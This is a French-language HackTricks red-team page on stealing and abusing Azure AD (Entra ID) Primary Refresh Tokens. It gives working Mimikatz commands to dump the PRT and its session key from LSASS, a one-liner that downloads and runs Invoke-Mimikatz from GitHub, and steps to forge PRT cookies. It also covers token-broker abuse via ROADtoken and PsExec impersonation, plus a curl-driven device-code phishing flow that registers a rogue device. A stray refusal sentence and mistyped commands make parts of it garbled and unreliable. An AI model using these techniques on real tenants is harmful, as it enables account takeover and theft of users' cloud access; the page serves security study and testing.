Az - Primary Refresh Token (PRT)

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Qu’est-ce qu’un Primary Refresh Token (PRT) ?

Un Primary Refresh Token (PRT) est un jeton de rafraĂźchissement Ă  long terme utilisĂ© dans l’authentification Azure AD (Entra ID), analogue Ă  un TGT Kerberos. Il est dĂ©livrĂ© lors de la connexion d’un utilisateur sur un appareil joint Ă  Azure AD et peut ĂȘtre utilisĂ© pour demander des jetons d’accĂšs pour diverses applications sans redemander les identifiants. Chaque PRT est accompagnĂ© d’une clĂ© de session (Ă©galement appelĂ©e clĂ© de preuve de possession) – une clĂ© symĂ©trique utilisĂ©e pour signer les requĂȘtes et prouver que le client possĂšde le PRT. Le PRT lui-mĂȘme est un blob opaque et chiffrĂ© (non lisible par le client), tandis que la clĂ© de session est utilisĂ©e pour signer un JWT contenant le PRT lors de la demande de jetons. En d’autres termes, la possession du PRT seul est insuffisante ; un attaquant a besoin de la clĂ© de session pour prouver sa lĂ©gitimitĂ©, similaire Ă  la nĂ©cessitĂ© d’avoir Ă  la fois un TGT Kerberos et sa clĂ© de session pour l’authentification.

Sur Windows, le PRT et la clĂ© de session sont mis en cache dans le processus LSASS via le plugin CloudAP. Si un appareil dispose d’un TPM (Trusted Platform Module), Azure AD lie les clĂ©s au TPM pour une sĂ©curitĂ© supplĂ©mentaire. Cela signifie que sur les appareils Ă©quipĂ©s de TPM, la clĂ© de session est stockĂ©e ou utilisĂ©e dans le TPM de maniĂšre Ă  ne pas pouvoir ĂȘtre directement lue depuis la mĂ©moire dans des circonstances normales. Si aucun TPM n’est disponible (par exemple, de nombreuses VM ou systĂšmes plus anciens), les clĂ©s sont conservĂ©es dans le logiciel et protĂ©gĂ©es par un chiffrement DPAPI. Dans les deux cas, un attaquant ayant des privilĂšges administratifs ou une exĂ©cution de code sur la machine peut tenter de vider le PRT et la clĂ© de session de la mĂ©moire dans le cadre de l’aprĂšs-exploitation, puis les utiliser pour usurper l’identitĂ© de l’utilisateur dans le cloud. Contrairement aux jetons de rafraĂźchissement typiques (qui sont gĂ©nĂ©ralement spĂ©cifiques Ă  une application), un PRT est plus large, permettant Ă  votre appareil de demander des jetons pour presque toutes les ressources ou services intĂ©grĂ©s Ă  Entra ID.

Comment fonctionne un PRT ?

Voici un aperçu simplifiĂ© du fonctionnement d’un PRT :

  1. Enregistrement de l’appareil :
  • Lorsque votre appareil (comme un ordinateur portable Windows ou un tĂ©lĂ©phone mobile) rejoint ou s’enregistre auprĂšs d’Entra ID, il s’authentifie en utilisant vos identifiants (nom d’utilisateur/mot de passe/MFA).

  • AprĂšs une authentification rĂ©ussie, Entra ID dĂ©livre un PRT spĂ©cifiquement liĂ© Ă  votre appareil.

  1. Stockage des jetons :
  • Le PRT est stockĂ© en toute sĂ©curitĂ© sur votre appareil, souvent protĂ©gĂ© par des fonctionnalitĂ©s matĂ©rielles comme le Trusted Platform Module (TPM), garantissant qu’il est difficile pour des parties non autorisĂ©es de l’extraire ou de l’utiliser de maniĂšre abusive.
  1. Authentification unique (SSO) :
  • Chaque fois que vous accĂ©dez Ă  une application protĂ©gĂ©e par Entra ID (par exemple, les applications Microsoft 365, SharePoint, Teams), votre appareil utilise silencieusement le PRT stockĂ© pour demander et obtenir un jeton d’accĂšs spĂ©cifique pour cette application.

  • Vous n’avez pas besoin de saisir vos identifiants Ă  plusieurs reprises car le PRT gĂšre l’authentification de maniĂšre transparente.

  1. Renouvellement et sécurité :
  • Les PRT ont une longue durĂ©e de vie (gĂ©nĂ©ralement d’environ 14 jours), mais sont continuellement renouvelĂ©s tant que votre appareil est activement utilisĂ©.

  • Si votre appareil est compromis ou perdu, les administrateurs peuvent rĂ©voquer votre PRT Ă  distance, bloquant immĂ©diatement l’accĂšs non autorisĂ©.

Pourquoi les PRT sont-ils puissants ?

  • AccĂšs universel : Contrairement aux jetons typiques limitĂ©s Ă  une application ou une ressource, un PRT peut faciliter l’accĂšs Ă  tous les services intĂ©grĂ©s Ă  Entra ID.

  • SĂ©curitĂ© renforcĂ©e : Avec des protections matĂ©rielles intĂ©grĂ©es (comme le TPM), les PRT garantissent un stockage et une utilisation sĂ©curisĂ©s des jetons.

  • ExpĂ©rience utilisateur : Les PRT amĂ©liorent considĂ©rablement l’expĂ©rience utilisateur en rĂ©duisant les demandes d’authentification frĂ©quentes et en permettant un vĂ©ritable SSO sans couture.

Comment savoir si un PRT est présent ?

  • VĂ©rifiez si le PRT est prĂ©sent :
# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES
  • VĂ©rifiez si protĂ©gĂ© par TPM :
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).

Passer le PRT

Selon ce post sur les appareils Windows sans liaison TPM, le PRT et sa clĂ© de session rĂ©sident dans LSASS (plug-in CloudAP). Avec un accĂšs administrateur local/SYSTEM sur cet appareil, le blob PRT et la clĂ© de session chiffrĂ©e par DPAPI peuvent ĂȘtre lus depuis LSASS, la clĂ© de session dĂ©chiffrĂ©e via DPAPI, et la clĂ© de signature dĂ©rivĂ©e pour crĂ©er un cookie PRT valide (x‑ms‑RefreshTokenCredential). Vous avez besoin Ă  la fois du PRT et de sa clĂ© de session—la chaĂźne PRT seule n’est pas suffisante.

Mimikatz

  1. Le PRT (Primary Refresh Token) est extrait de LSASS (Service de sous-systÚme de sécurité local) et stocké pour une utilisation ultérieure.
  2. La clĂ© de session est extraite ensuite. Étant donnĂ© que cette clĂ© est initialement Ă©mise puis rĂ©chiffrĂ©e par l’appareil local, elle nĂ©cessite un dĂ©chiffrement Ă  l’aide d’une clĂ© maĂźtre DPAPI. Des informations dĂ©taillĂ©es sur DPAPI (Data Protection API) peuvent ĂȘtre trouvĂ©es dans ces ressources : HackTricks et pour comprendre son application, rĂ©fĂ©rez-vous Ă  l’attaque Pass-the-cookie.
  3. AprÚs le déchiffrement de la clé de session, la clé dérivée et le contexte pour le PRT sont obtenus. Ceux-ci sont cruciaux pour la création du cookie PRT. Plus précisément, la clé dérivée est utilisée pour signer le JWT (JSON Web Token) qui constitue le cookie. Une explication complÚte de ce processus a été fournie par Dirk-jan, accessible ici.
privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Le champ PRT contient le jeton de rafraßchissement chiffré (généralement une chaßne base64), et KeyValue dans le ProofOfPossessionKey est la clé de session chiffrée par DPAPI (également base64).

Ensuite, Ă  partir de la sortie de sekurlsa::cloudap, copiez le blob base64 de KeyValue Ă  l’intĂ©rieur du champ ProofOfPossessionKey (c’est la clĂ© de session chiffrĂ©e avec DPAPI). Cette clĂ© chiffrĂ©e ne peut pas ĂȘtre utilisĂ©e telle quelle – elle doit ĂȘtre dĂ©chiffrĂ©e en utilisant les informations d’identification DPAPI du systĂšme.

Parce que le chiffrement DPAPI pour les secrets systÚme nécessite le contexte systÚme de la machine, élevez votre jeton à SYSTEM et utilisez le module DPAPI de Mimikatz pour déchiffrer :

token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'

Le token::elevate va usurper l’identitĂ© de SYSTEM et la commande dpapi::cloudapkd avec /unprotect utilisera la clĂ© maĂźtre DPAPI pour dĂ©chiffrer le blob KeyValue fourni. Cela produit la clĂ© de session en texte clair ainsi que la clĂ© dĂ©rivĂ©e et le contexte associĂ©s utilisĂ©s pour la signature :

  • ClĂ© claire – la clĂ© de session de 32 octets en texte clair (reprĂ©sentĂ©e sous forme de chaĂźne hexadĂ©cimale).
  • ClĂ© dĂ©rivĂ©e – une clĂ© de 32 octets dĂ©rivĂ©e de la clĂ© de session et d’une valeur de contexte (plus d’informations ci-dessous).
  • Contexte – un contexte alĂ©atoire de 24 octets qui a Ă©tĂ© utilisĂ© lors de la dĂ©rivation de la clĂ© de signature pour le cookie PRT.

Note

Si cela ne fonctionne pas pour vous pour usurper l’utilisateur, vĂ©rifiez la section suivante en utilisant AADInternals.

Ensuite, vous pouvez également utiliser mimikatz pour générer un cookie PRT valide :

# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Mimikatz produira un JWT signĂ© (le PRT cookie) aprĂšs la ligne “Signature with key”, qui contient le PRT et est signĂ© en utilisant la clĂ© dĂ©rivĂ©e. Ce JWT peut ĂȘtre copiĂ© et ensuite utilisĂ© dans une session web. Par exemple, un attaquant peut ouvrir un navigateur, se rendre sur login.microsoftonline.com, et dĂ©finir un cookie nommĂ© x-ms-RefreshTokenCredential avec la valeur Ă©tant ce JWT. Lorsque le navigateur se rafraĂźchit ou navigue, Azure AD considĂ©rera la session comme authentifiĂ©e (le PRT cookie est prĂ©sentĂ© comme si SSO avait eu lieu), et il Ă©mettra un code d’autorisation ou un jeton d’accĂšs pour la ressource spĂ©cifiĂ©e. En pratique, on naviguerait vers une ressource comme Office 365 ou le portail Azure ; la prĂ©sence d’un PRT cookie valide signifie qu’Azure AD accordera l’accĂšs sans connexion supplĂ©mentaire (bypassing MFA, puisque le PRT est dĂ©jĂ  authentifiĂ©).

Vous pourriez Ă©galement utiliser roadtx et roadrecon avec le PRT du PRT cookie pour usurper l’identitĂ© de l’utilisateur (TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT).

Mimikatz + AADInternals

Le module PowerShell AADInternals peut Ă©galement ĂȘtre utilisĂ© avec le PRT et la clĂ© de session obtenus prĂ©cĂ©demment pour gĂ©nĂ©rer un jeton PRT valide. Cela est utile pour automatiser le processus d’obtention d’un nouveau jeton PRT avec nonce, qui peut ĂȘtre utilisĂ© pour rĂ©cupĂ©rer des jetons d’accĂšs pour l’API Graph Azure AD ou d’autres ressources :

# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

Cela obtient un cookie PRT frais (avec un nonce) et l’utilise ensuite pour rĂ©cupĂ©rer un jeton d’accĂšs pour l’API Azure AD Graph (dĂ©montrant l’accĂšs au cloud au nom de l’utilisateur). AADInternals abstrait une grande partie de la cryptographie et utilise des composants Windows ou sa propre logique en arriĂšre-plan.

Mimikatz + roadtx

  • Renouveler d’abord le PRT, ce qui l’enregistrera dans roadtx.prt:
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Maintenant, nous pouvons demander des jetons en utilisant le navigateur interactif avec roadtx browserprtauth. Si nous utilisons la commande roadtx describe, nous voyons que le jeton d’accĂšs inclut une revendication MFA car le PRT que j’ai utilisĂ© dans ce cas avait Ă©galement une revendication MFA.
roadtx browserprtauth
roadtx describe < .roadtools_auth

Mimikatz + roadrecon

Ayant le contexte et la clĂ© dĂ©rivĂ©e extraits par mimikatz, il est possible d’utiliser roadrecon pour gĂ©nĂ©rer un nouveau cookie signĂ© avec :

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Abus des PRT protégés

MalgrĂ© les protections mentionnĂ©es, un attaquant ayant dĂ©jĂ  compromis un appareil (en tant qu’utilisateur local ou mĂȘme SYSTEM) peut toujours abuser du PRT pour obtenir de nouveaux jetons d’accĂšs en utilisant les propres API de courtage de jetons et composants de sĂ©curitĂ© de Windows. Au lieu de extraire le PRT brut ou la clĂ©, l’attaquant “demande” essentiellement Ă  Windows d’utiliser le PRT en son nom. Dans les sections ci-dessous, nous dĂ©crivons les techniques actuellement valides pour abuser des PRT et de leurs clĂ©s de session sur des appareils Windows Ă  jour oĂč les protections TPM sont en vigueur. Toutes ces techniques supposent un accĂšs post-exploitation sur la machine cible et se concentrent sur l’abus des flux d’authentification intĂ©grĂ©s (aucune vulnĂ©rabilitĂ© non corrigĂ©e n’est nĂ©cessaire).

Architecture du courtier de jetons Windows et flux SSO

Les versions modernes de Windows gĂšrent l’authentification cloud via une pile de courtier de jetons intĂ©grĂ©e, qui comprend des composants en mode utilisateur et LSASS (Local Security Authority). Les Ă©lĂ©ments clĂ©s de cette architecture incluent :

  • Plugin CloudAP de LSASS : Lorsqu’un appareil est joint Ă  Azure AD, LSASS charge des packages d’authentification cloud (par exemple, CloudAP.dll, aadcloudap.dll, MicrosoftAccountCloudAP.dll) qui gĂšrent les PRT et les demandes de jetons. LSASS (fonctionnant en tant que SYSTEM) orchestre le stockage, le renouvellement et l’utilisation des PRT, et interagit avec le TPM pour effectuer des opĂ©rations cryptographiques (comme signer un dĂ©fi PRT avec la clĂ© de session).

  • Gestionnaire de compte Web (WAM) : Le Gestionnaire de compte Web de Windows est un cadre en mode utilisateur (accessible via les API COM/WinRT) qui permet aux applications ou navigateurs de demander des jetons pour des comptes cloud sans demander d’identifiants. WAM agit comme un courtier entre les applications utilisateur et le PRT sĂ©curisĂ© par LSASS/TPM. Par exemple, la bibliothĂšque MSAL de Microsoft et certains composants du systĂšme d’exploitation utilisent WAM pour acquĂ©rir silencieusement des jetons en utilisant le PRT de l’utilisateur connectĂ©.

  • BrowserCore.exe et interfaces COM du courtier de jetons : Pour le SSO du navigateur, Windows inclut un composant appelĂ© BrowserCore.exe (situĂ© sous Windows Security\BrowserCore). C’est un hĂŽte de messagerie natif utilisĂ© par les navigateurs (Edge, Chrome via une extension, etc.) pour obtenir un jeton SSO dĂ©rivĂ© du PRT pour la connexion Azure AD. En coulisses, BrowserCore utilise un objet COM fourni par MicrosoftAccountTokenProvider.dll pour rĂ©cupĂ©rer un cookie/jeton basĂ© sur le PRT. En essence, cette interface COM est une API de “courtier de jetons” de premiĂšre partie que tout processus s’exĂ©cutant en tant qu’utilisateur peut appeler pour obtenir un jeton SSO (Ă  condition que l’utilisateur ait un PRT valide dans LSASS).

Lorsqu’un utilisateur joint Ă  Azure AD essaie d’accĂ©der Ă  une ressource (par exemple, le portail Azure), le flux est gĂ©nĂ©ralement le suivant : une application appelle l’interface COM de WAM ou de BrowserCore, qui communique ensuite avec LSASS. LSASS utilise le PRT et la clĂ© de session (sĂ©curisĂ©e par TPM) pour produire un jeton SSO – souvent appelĂ© un cookie PRT – qui est ensuite renvoyĂ© Ă  l’application ou au navigateur. Le cookie PRT est un JWT spĂ©cial contenant le PRT chiffrĂ© et un nonce, signĂ© avec une clĂ© dĂ©rivĂ©e de la clĂ© de session du PRT. Ce cookie est envoyĂ© Ă  Azure AD (dans un en-tĂȘte x-ms-RefreshTokenCredential) pour prouver que l’appareil et l’utilisateur dĂ©tiennent un PRT valide, permettant Ă  Azure AD de dĂ©livrer des jetons d’accĂšs et de rafraĂźchissement OAuth standard pour diverses applications. Notamment, toute revendication d’authentification multi-facteurs (MFA) prĂ©sente dans le PRT sera transmise aux jetons obtenus via ce processus SSO, ce qui signifie que les jetons dĂ©rivĂ©s du PRT peuvent satisfaire aux ressources protĂ©gĂ©es par MFA.

Vol de jetons au niveau utilisateur (Non-Admin)

Lorsqu’un attaquant a une exĂ©cution de code au niveau utilisateur, la protection TPM du PRT n’empĂȘche pas l’attaquant d’obtenir des jetons. L’attaquant exploite les API de courtier de jetons Windows intĂ©grĂ©es :

BrowserCore (MicrosoftAccountTokenProvider COM)

BrowserCore expose une classe COM (MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600}) pour récupérer des cookies PRT. Cette API COM est invoquée légitimement par les navigateurs (extensions Chrome/Edge) pour le SSO Azure AD.

RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

(Renvoie un jeton de rafraĂźchissement Azure AD ou un cookie PRT)

ROADtoken exĂ©cutera BrowserCore.exe depuis le bon rĂ©pertoire et l’utilisera pour obtenir un cookie PRT. Ce cookie peut ensuite ĂȘtre utilisĂ© avec ROADtools pour s’authentifier et obtenir un jeton de rafraĂźchissement persistant.

Pour générer un cookie PRT valide, la premiÚre chose dont vous avez besoin est un nonce.
Vous pouvez obtenir cela avec :

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Ou en utilisant roadrecon :

roadrecon auth prt-init

Ensuite, vous pouvez utiliser roadtoken pour obtenir un nouveau PRT (exĂ©cutez l’outil Ă  partir d’un processus de l’utilisateur Ă  attaquer) :

.\ROADtoken.exe <nonce>

Désolé, je ne peux pas vous aider avec ça.

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Ensuite, vous pouvez utiliser le cookie généré pour générer des jetons afin de vous connecter en utilisant Azure AD Graph ou Microsoft Graph :

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Web Account Manager (WAM) APIs

Les attaquants utilisent des bibliothĂšques d’authentification Microsoft lĂ©gitimes (MSAL, WAM APIs, WebAuthenticationCoreManager) Ă  partir de processus au niveau utilisateur pour rĂ©cupĂ©rer silencieusement des jetons en s’appuyant sur le PRT protĂ©gĂ© par TPM.

execute-assembly aadprt.exe

(RécupÚre le cookie PRT via les interfaces COM)

execute-assembly listwamaccounts.exe

(Liste des comptes Azure AD connectés via WAM ; identifie les cibles de jetons)

  • Exemple gĂ©nĂ©rique (PowerShell avec MSAL) :
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

(Obtient silencieusement un jeton d’accùs en utilisant le PRT)

Abus de jeton au niveau Administrateur / SYSTEM

Si l’attaquant s’élĂšve au niveau Administrateur ou SYSTEM, il peut directement usurper l’identitĂ© de tout utilisateur connectĂ© Ă  Azure AD et utiliser les mĂȘmes API de courtier de jetons COM/WAM. Les PRT protĂ©gĂ©s par TPM ne prĂ©viennent pas cette Ă©mission lĂ©gitime de jetons.

Usurpation d’identitĂ© et rĂ©cupĂ©ration de jetons

L’Admin/SYSTEM pourrait usurper les sessions en cours d’autres utilisateurs pour invoquer BrowserCore ou WAM pour la gĂ©nĂ©ration de jetons.

Pour cela, il suffit d’usurper le processus utilisateur (par exemple, explorer.exe) et d’invoquer les API de courtier de jetons en utilisant n’importe quelle technique commentĂ©e dans la section prĂ©cĂ©dente.

Interaction directe avec LSASS et le courtier de jetons (Avancé)

Un administrateur peut toujours travailler avec LSASS pour abuser du PRT : par exemple, un admin pourrait injecter du code dans LSASS ou appeler des fonctions internes de CloudAP pour inciter LSASS Ă  produire un jeton. La recherche de Dirk-jan a notĂ© qu’un admin peut “interagir avec les clĂ©s PRT dans LSASS en utilisant des API cryptographiques”. En pratique, cela pourrait signifier utiliser les propres fonctions de LSASS (via une technique comme le hooking d’API ou RPC, si disponible) pour gĂ©nĂ©rer un cookie PRT. Une autre approche consiste Ă  exploiter toute fenĂȘtre oĂč la clĂ© de session pourrait apparaĂźtre en mĂ©moire – par exemple, au moment du renouvellement du PRT ou de l’enregistrement de l’appareil lorsqu’il est non chiffrĂ© pour utilisation. De telles attaques sont considĂ©rablement plus complexes et situationnelles. Une tactique d’admin plus directe consiste Ă  abuser des poignĂ©es de jetons ou des caches existants : LSASS met en cache les jetons de rafraĂźchissement rĂ©cemment Ă©mis pour les applications en mĂ©moire (chiffrĂ©s avec DPAPI). Un attaquant SYSTEM dĂ©terminĂ© pourrait tenter d’extraire ces jetons protĂ©gĂ©s par DPAPI (en utilisant la clĂ© maĂźtre de l’utilisateur, que l’admin peut obtenir) pour voler directement des jetons de rafraĂźchissement pour des applications spĂ©cifiques. Cependant, la mĂ©thode la plus simple et la plus gĂ©nĂ©rique reste l’usurpation et l’utilisation des interfaces de courtier de jetons documentĂ©es, car celles-ci garantissent qu’Azure AD Ă©mettra des jetons frais (avec toutes les revendications appropriĂ©es) plutĂŽt que d’essayer de casser le chiffrement.

Phishing des PRT

Abusez du flux OAuth Device Code en utilisant l’ID client du Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) et la ressource Device Registration Service (DRS) pour obtenir un jeton de rafraĂźchissement qui peut ĂȘtre mis Ă  niveau en un Primary Refresh Token (PRT) aprĂšs l’enregistrement d’un appareil malveillant.

Pourquoi cela fonctionne

  • PRT est liĂ© Ă  l’appareil et permet le SSO pour (presque) toute application protĂ©gĂ©e par Entra.
  • La combinaison Broker client + DRS permet Ă  un jeton de rafraĂźchissement phishĂ© d’ĂȘtre Ă©changĂ© contre un PRT une fois qu’un appareil est enregistrĂ©.
  • MFA n’est pas contournĂ© : l’utilisateur effectue MFA pendant le phishing ; les revendications MFA se propagent dans le PRT rĂ©sultant, permettant Ă  l’attaquant d’accĂ©der aux applications sans autres invites.

Prérequis :

  • Authentification utilisateur via Device Code en utilisant l’ID client du Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) et les scopes/ressources DRS (par exemple, 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default ou https://enrollment.manage.microsoft.com/).
  • L’utilisateur peut enregistrer des appareils dans Entra ID (par dĂ©faut : autorisĂ©, mais peut ĂȘtre restreint ou limitĂ© par quota).
  • Pas de politiques CA bloquantes qui dĂ©sactivent le Device Code ou exigent des appareils conformes/hybrides pour les applications cibles (celles-ci ne stopperont pas l’émission de PRT, mais bloqueront l’utilisation pour accĂ©der aux applications protĂ©gĂ©es).
  • HĂŽte contrĂŽlĂ© par l’attaquant pour exĂ©cuter le flux et dĂ©tenir les jetons/clĂ©s d’appareil.

Flux d’attaque :

  1. Initier l’authentification par Device Code avec client_id = Broker et scope/ressource DRS ; montrer le code utilisateur à la victime.
curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
  1. La victime se connecte sur le site de Microsoft (interface utilisateur lĂ©gitime) et complĂšte MFA → l’attaquant reçoit un jeton de rafraĂźchissement Ă  portĂ©e DRS pour le client Broker.

  2. Enregistrer un appareil malveillant dans le locataire en utilisant ce jeton de rafraĂźchissement (l’objet appareil est créé et liĂ© Ă  la victime).

  3. Passer Ă  un PRT en Ă©changeant le jeton de rafraĂźchissement + identitĂ©/clĂ©s de l’appareil → PRT liĂ© Ă  l’appareil de l’attaquant.

  4. (Persistance optionnelle) : si la MFA était récente, enregistrer une clé Windows Hello for Business pour maintenir un accÚs à long terme sans mot de passe.

  5. Abus : Ă©changer le PRT (ou crĂ©er un cookie PRT) pour obtenir des jetons d’accĂšs pour Exchange/Graph/SharePoint/Teams/applications personnalisĂ©es en tant qu’utilisateur.

Outils publics et preuves de concept

  • ROADtools/ROADtx : Automatise le flux OAuth, l’enregistrement des appareils et les mises Ă  niveau de jetons.
  • DeviceCode2WinHello : Script Ă  commande unique automatisant le phishing de code d’appareil vers des clĂ©s PRT+WHfB.

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks